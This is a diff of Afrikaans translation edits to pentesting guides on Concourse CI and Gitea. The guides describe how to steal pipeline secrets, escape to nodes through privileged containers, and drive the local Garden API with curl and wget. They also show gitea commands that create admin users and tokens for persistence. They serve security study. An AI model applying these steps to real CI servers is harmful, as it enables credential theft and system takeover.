+- **kyker**: Span kykers het **"lees-slegs" toegang tot 'n span** en sy pyplyne.
> [!NOTE]
-> Boonop kan die **toestemmings van die rolle eienaar, lid, pipeline-operator en kyker gewysig word** deur RBAC te konfigureer (meer spesifiek, sy aksies). Lees meer daaroor in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Boonop kan die **toestemmings van die rolle eienaar, lid, pyplyn-operateur en kyker gewysig word** deur RBAC te konfigureer (meer spesifiek sy aksies). Lees meer daaroor in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
-Let daarop dat Concourse **pipeliner binne Spanne groepeer**. Daarom sal gebruikers wat aan 'n Span behoort, in staat wees om daardie pipelines te bestuur en **verskeie Spanne** mag bestaan. 'n Gebruiker kan aan verskeie Spanne behoort en verskillende toestemmings binne elkeen hê.
+Let daarop dat Concourse **pyplyne binne Spanne groepeer**. Daarom sal gebruikers wat aan 'n Span behoort, in staat wees om daardie pyplyne te bestuur en **verskeie Spanne** mag bestaan. 'n Gebruiker kan aan verskeie Spanne behoort en verskillende toestemmings binne elkeen hê.
-### Vars & Credential Manager
+### Vars & Kredietbestuurder
In die YAML konfigurasies kan jy waardes konfigureer met die sintaksis `((_source-name_:_secret-path_._secret-field_))`.\
-[Van die dokumentasie:](https://concourse-ci.org/vars.html#var-syntax) Die **source-name is opsioneel**, en as dit weggelaat word, sal die [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) gebruik word, of die waarde kan [staties](https://concourse-ci.org/vars.html#static-vars) verskaf word.\
-Die **opsionele \_secret-field**\_ spesifiseer 'n veld op die verkregen geheim om te lees. As dit weggelaat word, kan die credential manager kies om 'n 'standaard veld' van die verkregen credential te lees as die veld bestaan.\
-Boonop kan die _**secret-path**_ en _**secret-field**_ omring word deur dubbele aanhalings `"..."` as hulle **spesiale karakters** soos `.` en `:` bevat. Byvoorbeeld, `((source:"my.secret"."field:1"))` sal die _secret-path_ op `my.secret` stel en die _secret-field_ op `field:1`.
+[Van die dokumentasie:](https://concourse-ci.org/vars.html#var-syntax) Die **source-name is opsioneel**, en as dit weggelaat word, sal die [cluster-wye kredietbestuurder](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) gebruik word, of die waarde kan [statisch](https://concourse-ci.org/vars.html#static-vars) verskaf word.\
+Die **opsionele \_secret-field**\_ spesifiseer 'n veld op die verkregen geheim om te lees. As dit weggelaat word, kan die kredietbestuurder kies om 'n 'standaard veld' van die verkregen krediet te lees as die veld bestaan.\
+Boonop kan die _**secret-path**_ en _**secret-field**_ omring word deur dubbele aanhalings `"..."` as hulle **spesiale karakters** soos `.` en `:` bevat. Byvoorbeeld, `((source:"my.secret"."field:1"))` sal die _secret-path_ stel na `my.secret` en die _secret-field_ na `field:1`.
-#### Static Vars
+#### Statische Vars
-Statische vars kan in **take stappe** gespesifiseer word:
+Statische vars kan gespesifiseer word in **take stappe**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
-Or gebruik die volgende `fly` **argumente**:
+Of deur die volgende `fly` **argumente** te gebruik:
- `-v` of `--var` `NAME=VALUE` stel die string `VALUE` as die waarde vir die var `NAME` in.
- `-y` of `--yaml-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die var `NAME` in.
-- `-i` of `--instance-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die instance var `NAME` in. Sien [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) om meer te leer oor instance vars.
-- `-l` of `--load-vars-from` `FILE` laai `FILE`, 'n YAML-dokument wat var name aan waardes koppel, en stel dit alles in.
+- `-i` of `--instance-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die instance var `NAME` in. Sien [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) om meer oor instance vars te leer.
+- `-l` of `--load-vars-from` `FILE` laai `FILE`, 'n YAML-dokument wat var name aan waardes koppel, en stel hulle almal in.
#### Kredensiaalbestuur
Daar is verskillende maniere waarop 'n **Kredensiaalbestuurder gespesifiseer kan word** in 'n pyplyn, lees hoe in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Boonop ondersteun Concourse verskillende kredensiaalbestuurders:
-- [Die Vault kredensiaalbestuurder](https://concourse-ci.org/vault-credential-manager.html)
-- [Die CredHub kredensiaalbestuurder](https://concourse-ci.org/credhub-credential-manager.html)
-- [Die AWS SSM kredensiaalbestuurder](https://concourse-ci.org/aws-ssm-credential-manager.html)
-- [Die AWS Secrets Manager kredensiaalbestuurder](https://concourse-ci.org/aws-asm-credential-manager.html)
-- [Kubernetes Kredensiaalbestuurder](https://concourse-ci.org/kubernetes-credential-manager.html)
-- [Die Conjur kredensiaalbestuurder](https://concourse-ci.org/conjur-credential-manager.html)
-- [Kredensiale kas](https://concourse-ci.org/creds-caching.html)
-- [Kredensiale redigering](https://concourse-ci.org/creds-redacting.html)
-- [Herhaal mislukte verkrygings](https://concourse-ci.org/creds-retry-logic.html)
+- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
+- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
+- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
+- [Caching credentials](https://concourse-ci.org/creds-caching.html)
+- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
+- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Let daarop dat as jy 'n soort **skrywe toegang tot Concourse** het, jy werksgeleenthede kan skep om **daardie geheime te onttrek** aangesien Concourse toegang tot hulle moet hê.
### Concourse Enumerasie
-Om 'n concourse omgewing te enumerateer, moet jy eers **geldige kredensiale versamel** of 'n **geverifieerde token** vind waarskynlik in 'n `.flyrc` konfigurasie lêer.
+Om 'n concourse omgewing te enumerate, moet jy eers **geldige kredensiale versamel** of 'n **geverifieerde token** vind, waarskynlik in 'n `.flyrc` konfigurasie lêer.
-#### Teken in en Huidige Gebruiker enum
+#### Aanmelding en Huidige Gebruiker enum
-- Om in te teken, moet jy die **eindpunt**, die **spannaam** (standaard is `main`) en 'n **span waartoe die gebruiker behoort** weet:
+- Om aan te meld, moet jy die **eindpunt**, die **spannaam** (standaard is `main`) en 'n **span waartoe die gebruiker behoort** weet:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Kry geconfigureerde **teikens**:
- `fly targets`
@@ -75,7 +75,7 @@ Om 'n concourse omgewing te enumerateer, moet jy eers **geldige kredensiale vers
- `fly -t userinfo`
> [!NOTE]
-> Let daarop dat die **API token** **gestoor** word in `$HOME/.flyrc` per standaard, jy wat 'n masjien plunder, kan daar die kredensiale vind.
+> Let daarop dat die **API-token** standaard in `$HOME/.flyrc` **gestoor** word, jy wat 'n masjien plunder, kan daar die kredensiale vind.
#### Spanne & Gebruikers
@@ -113,7 +113,7 @@ rm /tmp/secrets.txt
- `fly -t workers`
- Lys **houers**:
- `fly -t containers`
-- Lys **boude** (om te sien wat aan die gang is):
+- Lys **bou** (om te sien wat aan die gang is):
- `fly -t builds`
### Concourse Aanvalle
@@ -125,7 +125,7 @@ rm /tmp/secrets.txt
#### Geheimenisse en params enumerasie
-In die vorige afdeling het ons gesien hoe jy **alle geheime name en vars** wat deur die pyplyn gebruik word, kan **kry**. Die **vars kan sensitiewe inligting bevat** en die naam van die **geheimenisse sal nuttig wees later om te probeer om** hulle te steel.
+In die vorige afdeling het ons gesien hoe jy **alle geheime name en vars** wat deur die pyplyn gebruik word, kan **kry**. Die **vars kan sensitiewe inligting bevat** en die naam van die **geheime sal nuttig wees later om te probeer steel**.
#### Sessie binne lopende of onlangs lopende houer
@@ -166,7 +166,7 @@ sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
-Met die **wysiging/creatie** van 'n nuwe pyplyn sal jy in staat wees om:
+Met die **wysiging/creasie** van 'n nuwe pyplyn sal jy in staat wees om:
- **Steal** die **secrets** (deur dit uit te echo of binne die houer in te gaan en `env` te loop)
- **Escape** na die **node** (deur jou genoeg regte te gee - `privileged: true`)
@@ -304,7 +304,7 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
-Jy kan daardie geloofsbriewe gebruik om **in te log teen die webbediener** en **‘n bevoorregte houer te skep en na die node te ontsnap**.
+Jy kan daardie geloofsbriewe gebruik om **in te teken teen die webbediener** en **'n bevoorregte houer te skep en na die node te ontsnap**.
In die omgewing kan jy ook inligting vind om **toegang te verkry tot die postgresql** instansie wat concourse gebruik (adres, **gebruikersnaam**, **wagwoord** en databasis onder andere inligting):
```bash
@@ -332,9 +332,9 @@ select * from users;
> [!WARNING]
> Dit is net 'n paar interessante notas oor die diens, maar omdat dit net op localhost luister, sal hierdie notas geen impak hê wat ons nog nie voorheen uitgebuit het nie.
-Standaard sal elke concourse werker 'n [**Garden**](https://github.com/cloudfoundry/garden) diens op poort 7777 uitvoer. Hierdie diens word deur die Web meester gebruik om die werker **te dui wat hy moet uitvoer** (aflaai van die beeld en elke taak uitvoer). Dit klink redelik goed vir 'n aanvaller, maar daar is 'n paar goeie beskermings:
+Standaard sal elke concourse werker 'n [**Garden**](https://github.com/cloudfoundry/garden) diens op poort 7777 uitvoer. Hierdie diens word deur die Web meester gebruik om die werker **te dui wat hy moet uitvoer** (laai die beeld af en voer elke taak uit). Dit klink redelik goed vir 'n aanvaller, maar daar is 'n paar goeie beskermings:
-- Dit is net **lokaal blootgestel** (127..0.0.1) en ek dink wanneer die werker teen die Web met die spesiale SSH-diens outentiseer, word 'n tonnel geskep sodat die webbediener **met elke Garden diens** binne elke werker kan **praat**.
+- Dit is net **lokaal blootgestel** (127..0.0.1) en ek dink wanneer die werker teen die Web met die spesiale SSH-diens autentiseer, word 'n tonnel geskep sodat die webbediener met elke Garden diens **kan praat** binne elke werker.
- Die webbediener **monitor die lopende houers elke paar sekondes**, en **onverwagte** houers word **verwyder**. So as jy 'n **aangepaste houer** wil **uitvoer**, moet jy **inmeng** met die **kommunikasie** tussen die webbediener en die garden diens.
Concourse werkers loop met hoë houer bevoegdhede:
@@ -348,14 +348,14 @@ Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+Tog, tegnieke soos **mounting** die /dev toestel van die node of release_agent **sal nie werk nie** (aangesien die werklike toestel met die lêerstelsel van die node nie toeganklik is nie, slegs 'n virtuele een). Ons kan nie prosesse van die node toegang nie, so om te ontsnap van die node sonder kernel exploits raak ingewikkeld.
> [!NOTE]
-> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
+> In die vorige afdeling het ons gesien hoe om te ontsnap uit 'n bevoorregte houer, so as ons **opdragte** kan **uitvoer** in 'n **bevoorregte houer** geskep deur die **huidige** **werker**, kan ons **ontsnap na die node**.
-Let wel, terwyl ek met concourse gespeel het, het ek opgemerk dat wanneer 'n nuwe container geskep word om iets te laat loop, die container prosesse vanaf die werker container toeganklik is, so dit is soos 'n container wat 'n nuwe container binne-in hom skep.
+Let daarop dat ek met concourse gespeel het en opgemerk het dat wanneer 'n nuwe houer geskep word om iets te loop, die houer prosesse toeganklik is vanaf die werker houer, so dit is soos 'n houer wat 'n nuwe houer binne-in hom skep.
-**Getting inside a running privileged container**
+**Om binne 'n lopende bevoorregte houer te kom**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-However, die webbediener kontroleer elke paar sekondes die houers wat loop, en as 'n onverwagte een ontdek word, sal dit verwyder word. Aangesien die kommunikasie in HTTP plaasvind, kan jy die kommunikasie manipuleer om die verwydering van onverwagte houers te vermy:
+Die webbediener kontroleer egter elke paar sekondes die houers wat loop, en as 'n onverwagte een ontdek word, sal dit verwyder word. Aangesien die kommunikasie in HTTP plaasvind, kan jy die kommunikasie manipuleer om die verwydering van onverwagte houers te vermy:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 5d960758b..abb34aa64 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -1,23 +1,23 @@
-# Concourse Lab Creation
+# Concourse Laboratorium Skepping
{{#include ../../banners/hacktricks-training.md}}
-## Toetsomgewing
+## Toets Omgewing
-### Loop Concourse
+### Concourse Loop
#### Met Docker-Compose
-Hierdie docker-compose-lêer vereenvoudig die installasie om 'n paar toetse met concourse te doen:
+Hierdie docker-compose lêer vereenvoudig die installasie om 'n paar toetse met concourse te doen:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
-You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
+U kan die opdraglyn `fly` vir u OS van die web aflaai by `127.0.0.1:8080`
#### Met Kubernetes (Aanbeveel)
-You can easily deploy concourse in **Kubernetes** (in **minikube** byvoorbeeld) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+U kan maklik concourse in **Kubernetes** (in **minikube** byvoorbeeld) ontplooi met die helm-kaart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-Na die generering van die concourse omgewing, kan jy 'n geheim genereer en toegang gee aan die SA wat in concourse web loop om K8s geheime te benader:
+Na die generering van die concourse omgewing, kan jy 'n geheim genereer en toegang gee aan die SA wat in concourse web loop om K8s geheime te bekom:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -77,12 +77,12 @@ Verskeie verskillende tipes stappe kan gebruik word:
- **die** [**`task` stap**](https://concourse-ci.org/task-step.html) **voert 'n** [**taak**](https://concourse-ci.org/tasks.html) **uit**
- die [`get` stap](https://concourse-ci.org/get-step.html) haal 'n [bron](https://concourse-ci.org/resources.html) op
-- die [`put` stap](https://concourse-ci.org/put-step.html) werk 'n [bron](https://concourse-ci.org/resources.html) by
+- die [`put` stap](https://concourse-ci.org/put-step.html) werk 'n [bron](https://concourse-ci.org/resources.html) op
- die [`set_pipeline` stap](https://concourse-ci.org/set-pipeline-step.html) konfigureer 'n [pyplyn](https://concourse-ci.org/pipelines.html)
- die [`load_var` stap](https://concourse-ci.org/load-var-step.html) laai 'n waarde in 'n [lokale var](https://concourse-ci.org/vars.html#local-vars)
- die [`in_parallel` stap](https://concourse-ci.org/in-parallel-step.html) voer stappe parallel uit
- die [`do` stap](https://concourse-ci.org/do-step.html) voer stappe in volgorde uit
-- die [`across` stap modifier](https://concourse-ci.org/across-step.html#schema.across) voer 'n stap verskeie kere uit; een keer vir elke kombinasie van veranderlike waardes
+- die [`across` stap modifier](https://concourse-ci.org/across-step.html#schema.across) voer 'n stap verskeie kere uit; een vir elke kombinasie van veranderlike waardes
- die [`try` stap](https://concourse-ci.org/try-step.html) probeer om 'n stap uit te voer en slaag selfs al misluk die stap
Elke [stap](https://concourse-ci.org/steps.html) in 'n [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) loop in sy **eie houer**. Jy kan enigiets wat jy wil binne die houer uitvoer _(d.w.s. voer my toetse uit, voer hierdie bash-skrip uit, bou hierdie beeld, ens.)_. So as jy 'n werk het met vyf stappe, sal Concourse vyf houers skep, een vir elke stap.
@@ -131,13 +131,13 @@ Dit is moontlik om **die resultate van een taak in 'n lêer te stoor** en aan te
### Triggers
-Jy hoef nie die werksgeleenthede handmatig te aktiveer elke keer wanneer jy hulle wil uitvoer nie, jy kan ook program dat hulle elke keer uitgevoer word:
+Jy hoef nie die werksgeleenthede handmatig te aktiveer elke keer wanneer jy hulle moet uitvoer nie, jy kan ook program dat hulle elke keer uitgevoer word:
- 'n Bietjie tyd verby: [Time resource](https://github.com/concourse/time-resource/)
- Op nuwe verbintenisse na die hooftak: [Git resource](https://github.com/concourse/git-resource)
- Nuwe PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-- Trek of druk die nuutste beeld van jou app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
+- Laai die nuutste beeld van jou app af of druk dit: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-Kontroleer 'n YAML pypuntvoorbeeld wat aktiveer op nuwe verbintenisse na meester in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+Kontroleer 'n YAML-pypuntvoorbeeld wat aktiveer op nuwe verbintenisse na meester in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index 5dc5762c8..33fdb22c3 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -1,10 +1,10 @@
-# Gitea Veiligheid
+# Gitea Sekuriteit
{{#include ../../banners/hacktricks-training.md}}
## Wat is Gitea
-**Gitea** is 'n **self-hosted gemeenskap bestuurde liggewig kode hosting** oplossing geskryf in Go.
+**Gitea** is 'n **self-hosted gemeenskapsbestuurde liggewig kode hosting** oplossing geskryf in Go.
.png>)
@@ -16,11 +16,11 @@ basic-gitea-information.md
## Laboratorium
-Om 'n Gitea-instantie plaaslik te laat loop, kan jy eenvoudig 'n docker-container uitvoer:
+Om 'n Gitea-instansie plaaslik te laat loop, kan jy net 'n docker-container uitvoer:
```bash
docker run -p 3000:3000 gitea/gitea
```
-Verbind met poort 3000 om die webblad te bekom.
+Verbind met poort 3000 om toegang tot die webblad te verkry.
Jy kan dit ook met kubernetes uitvoer:
```
@@ -41,7 +41,7 @@ Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening
### Met Gebruiker Kredensiale/Web Koekie
-As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het (of jy het 'n sessie koekie gesteel) kan jy **net inlog** en kyk watter **regte jy het** oor watter **repos,** in **watter spanne** jy is, **lys ander gebruikers**, en **hoe die repos beskerm word.**
+As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het (of jy het 'n sessie koekie gesteel) kan jy **net aanmeld** en kyk watter **toestemmings jy het** oor watter **repos,** in **watter spanne** jy is, **lys ander gebruikers**, en **hoe die repos beskerm word.**
Let daarop dat **2FA gebruik mag word** so jy sal slegs toegang tot hierdie inligting hê as jy ook **daardie toets kan slaag**.
@@ -58,9 +58,9 @@ Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sek
# Get repo config and current user name and email
git config --list
```
-As die gebruiker sy gebruikersnaam as sy gitea gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy ingestel het** in sy rekening op _https://github.com/\.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
+As die gebruiker sy gebruikersnaam as sy gitea gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy gestel het** in sy rekening op _https://github.com/\.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
-**SSH sleutels** kan ook in repositories as **deploy sleutels** ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanaf 'n repository te begin**. Gewoonlik in 'n bediener met verskillende deploy sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
+**SSH sleutels** kan ook in repositories as **deploy sleutels** gestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanaf 'n repository te begin**. Gewoonlik in 'n bediener met verskillende deploy sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
#### GPG Sleutels
@@ -70,38 +70,38 @@ Kontroleer plaaslik of die huidige gebruiker enige sleutel het met:
```shell
gpg --list-secret-keys --keyid-format=long
```
-### Met Gebruikersteken
+### Met Gebruikerstoken
-Vir 'n inleiding oor [**Gebruikersteke kyk na die basiese inligting**](basic-gitea-information.md#personal-access-tokens).
+Vir 'n inleiding oor [**Gebruikerstokens kyk na die basiese inligting**](basic-gitea-information.md#personal-access-tokens).
-'n Gebruikersteken kan gebruik word **in plaas van 'n wagwoord** om te **verifieer** teen die Gitea bediener [**via API**](https://try.gitea.io/api/swagger#/). Dit sal **volledige toegang** oor die gebruiker hê.
+'n Gebruikerstoken kan gebruik word **in plaas van 'n wagwoord** om teen die Gitea-bediener **te verifieer** [**via API**](https://try.gitea.io/api/swagger#/). Dit sal **volledige toegang** oor die gebruiker hê.
### Met Oauth Toepassing
Vir 'n inleiding oor [**Gitea Oauth Toepassings kyk na die basiese inligting**](./#with-oauth-application).
-'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot bevoorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.
+'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot bevoorregte data/aksies van die gebruikers wat hulle waarskynlik as deel van 'n phishingveldtog aanvaar.
-Soos verduidelik in die basiese inligting, sal die toepassing **volledige toegang oor die gebruikersrekening** hê.
+Soos in die basiese inligting verduidelik, sal die toepassing **volle toegang oor die gebruikersrekening** hê.
### Takbeskerming Omseiling
-In Github het ons **github aksies** wat standaard 'n **teken met skrywe toegang** oor die repo ontvang wat gebruik kan word om **takbeskermings te omseil**. In hierdie geval **bestaan dit nie**, so die omseilings is meer beperk. Maar kom ons kyk na wat gedoen kan word:
+In Github het ons **github aksies** wat standaard 'n **token met skrywe toegang** oor die repo kry wat gebruik kan word om **takbeskermings te omseil**. In hierdie geval **bestaan dit nie**, so die omseilings is meer beperk. Maar kom ons kyk na wat gedoen kan word:
- **Aktiveer Push**: As iemand met skrywe toegang na die tak kan push, push net daarna.
- **Whitelist Beperkte Push**: Op dieselfde manier, as jy deel van hierdie lys is, push na die tak.
-- **Aktiveer Samevoeg Whitelist**: As daar 'n samevoeg whitelist is, moet jy binne dit wees.
+- **Aktiveer Merge Whitelist**: As daar 'n samensmeltings-whitelist is, moet jy binne dit wees.
- **Vereis goedkeuring is groter as 0**: Dan... moet jy 'n ander gebruiker kompromitteer.
- **Beperk goedkeuring tot whitelisted**: As slegs whitelisted gebruikers kan goedkeur... moet jy 'n ander gebruiker kompromitteer wat binne daardie lys is.
-- **Verwerp verouderde goedkeuring**: As goedkeuring nie verwyder word met nuwe verbintenisse nie, kan jy 'n reeds goedgekeurde PR oorneem om jou kode in te voeg en die PR te saamvoeg.
+- **Verwerp verouderde goedkeuring**: As goedkeuring nie verwyder word met nuwe verbintenisse nie, kan jy 'n reeds goedgekeurde PR oorneem om jou kode in te voeg en die PR te meng.
Let daarop dat **as jy 'n org/repo admin is** jy die beskermings kan omseil.
### Enumereer Webhooks
-**Webhooks** is in staat om **spesifieke gitea inligting na sekere plekke te stuur**. Jy mag in staat wees om **daardie kommunikasie te benut**.\
-E however, gewoonlik word 'n **geheim** wat jy **nie kan herwin nie** in die **webhook** gestel wat **voorkom** dat eksterne gebruikers wat die URL van die webhook ken maar nie die geheim nie, om **daardie webhook te benut**.\
-Maar in sommige gevalle, in plaas daarvan om die **geheim** op sy plek te stel, stel mense dit **in die URL** as 'n parameter, so **om die URL's te kontroleer** kan jou toelaat om **geheime te vind** en ander plekke wat jy verder kan benut.
+**Webhooks** is in staat om **spesifieke gitea-inligting na sekere plekke te stuur**. Jy mag in staat wees om daardie kommunikasie te **benut**.\
+E however, gewoonlik word 'n **geheim** wat jy **nie kan herwin nie** in die **webhook** gestel wat **voorkom** dat eksterne gebruikers wat die URL van die webhook ken maar nie die geheim nie, daardie webhook kan **benut**.\
+Maar in sommige gevalle, in plaas daarvan om die **geheim** op sy plek te stel, stel mense dit **in die URL** as 'n parameter, so **om die URL's te kontroleer** kan jou toelaat om **geheime** en ander plekke te vind wat jy verder kan benut.
Webhooks kan op **repo en org vlak** gestel word.
@@ -109,22 +109,22 @@ Webhooks kan op **repo en org vlak** gestel word.
### Binne die bediener
-As jy op een of ander manier daarin geslaag het om binne die bediener waar gitea loop te kom, moet jy soek na die gitea konfigurasie lêer. Standaard is dit geleë in `/data/gitea/conf/app.ini`
+As jy op een of ander manier daarin geslaag het om binne die bediener waar gitea loop te kom, moet jy soek na die gitea-konfigurasie-lêer. Standaard is dit geleë in `/data/gitea/conf/app.ini`
In hierdie lêer kan jy **sleutels** en **wagwoorde** vind.
-In die gitea pad (standaard: /data/gitea) kan jy ook interessante inligting vind soos:
+In die gitea-pad (standaard: /data/gitea) kan jy ook interessante inligting vind soos:
- Die **sqlite** DB: As gitea nie 'n eksterne db gebruik nie, sal dit 'n sqlite db gebruik.
-- Die **sessies** binne die sessies gids: Deur `cat sessions/*/*/*` te loop, kan jy die gebruikersname van die ingelogde gebruikers sien (gitea kan ook die sessies binne die DB stoor).
-- Die **jwt private sleutel** binne die jwt gids.
+- Die **sessies** binne die sessies-gids: Deur `cat sessions/*/*/*` te loop, kan jy die gebruikersname van die ingelogde gebruikers sien (gitea kan ook die sessies binne die DB stoor).
+- Die **jwt private sleutel** binne die jwt-gids.
- Meer **sensitiewe inligting** kan in hierdie gids gevind word.
-As jy binne die bediener is, kan jy ook **die `gitea` binêre** gebruik om inligting te bekom/wysig:
+As jy binne die bediener is, kan jy ook die **`gitea` binêre** gebruik om inligting te bekom/wysig:
-- `gitea dump` sal gitea dump en 'n .zip lêer genereer.
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` sal 'n teken van die aangeduide tipe genereer (volharding).
+- `gitea dump` sal gitea dump en 'n .zip-lêer genereer.
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` sal 'n token van die aangeduide tipe genereer (volharding).
- `gitea admin user change-password --username admin --password newpassword` Verander die wagwoord.
-- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Skep 'n nuwe admin gebruiker en kry 'n toegangsteken.
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Skep 'n nuwe admin gebruiker en kry 'n toegangstoken.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index 411c83250..4a9b9b447 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -1,10 +1,10 @@
-# Basic Gitea Information
+# Basiese Gitea Inligting
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## Basiese Struktuur
-Die basiese Gitea omgewingstruktuur is om repos te groepeer volgens **organisasie(s),** elk van hulle kan **verskeie repositories** en **verskeie span** bevat. Let egter daarop dat, net soos in github, gebruikers repos buite die organisasie kan hê.
+Die basiese Gitea omgewingstruktuur is om repos te groepeer volgens **organisasie(s),** elk van hulle kan **verskeie repositories** en **verskeie spanne** bevat. Let egter daarop dat, net soos in github, gebruikers repos buite die organisasie kan hê.
Boonop kan 'n **gebruiker** 'n **lid** van **verskillende organisasies** wees. Binne die organisasie kan die gebruiker **verskillende toestemmings oor elke repository** hê.
@@ -12,9 +12,9 @@ Boonop kan 'n **gebruiker** 'n **lid** van **verskillende organisasies** wees. B
En uiteindelik **kan repositories spesiale beskermingsmeganismes hê**.
-## Permissions
+## Toestemmings
-### Organizations
+### Organisasies
Wanneer 'n **organisasie geskep word** word 'n span genaamd **Eienaars** **geskep** en die gebruiker word daarin geplaas. Hierdie span sal **admin toegang** oor die **organisasie** gee, daardie **toestemmings** en die **naam** van die span **kan nie gewysig word** nie.
@@ -36,7 +36,7 @@ Wanneer 'n nuwe span geskep word, word verskeie belangrike instellings gekies:
.png>)
-### Teams & Users
+### Spanne & Gebruikers
In 'n repo kan die **org admin** en die **repo admins** (indien toegelaat deur die org) die **rolle** wat aan samewerkers (ander gebruikers) en spanne gegee word, **bestuur**. Daar is **3** moontlike **rolle**:
@@ -44,42 +44,42 @@ In 'n repo kan die **org admin** en die **repo admins** (indien toegelaat deur d
- Skryf
- Lees
-## Gitea Authentication
+## Gitea Verifikasie
-### Web Access
+### Webtoegang
Gebruik **gebruikersnaam + wagwoord** en moontlik (en aanbeveel) 'n 2FA.
-### **SSH Keys**
+### **SSH Sleutels**
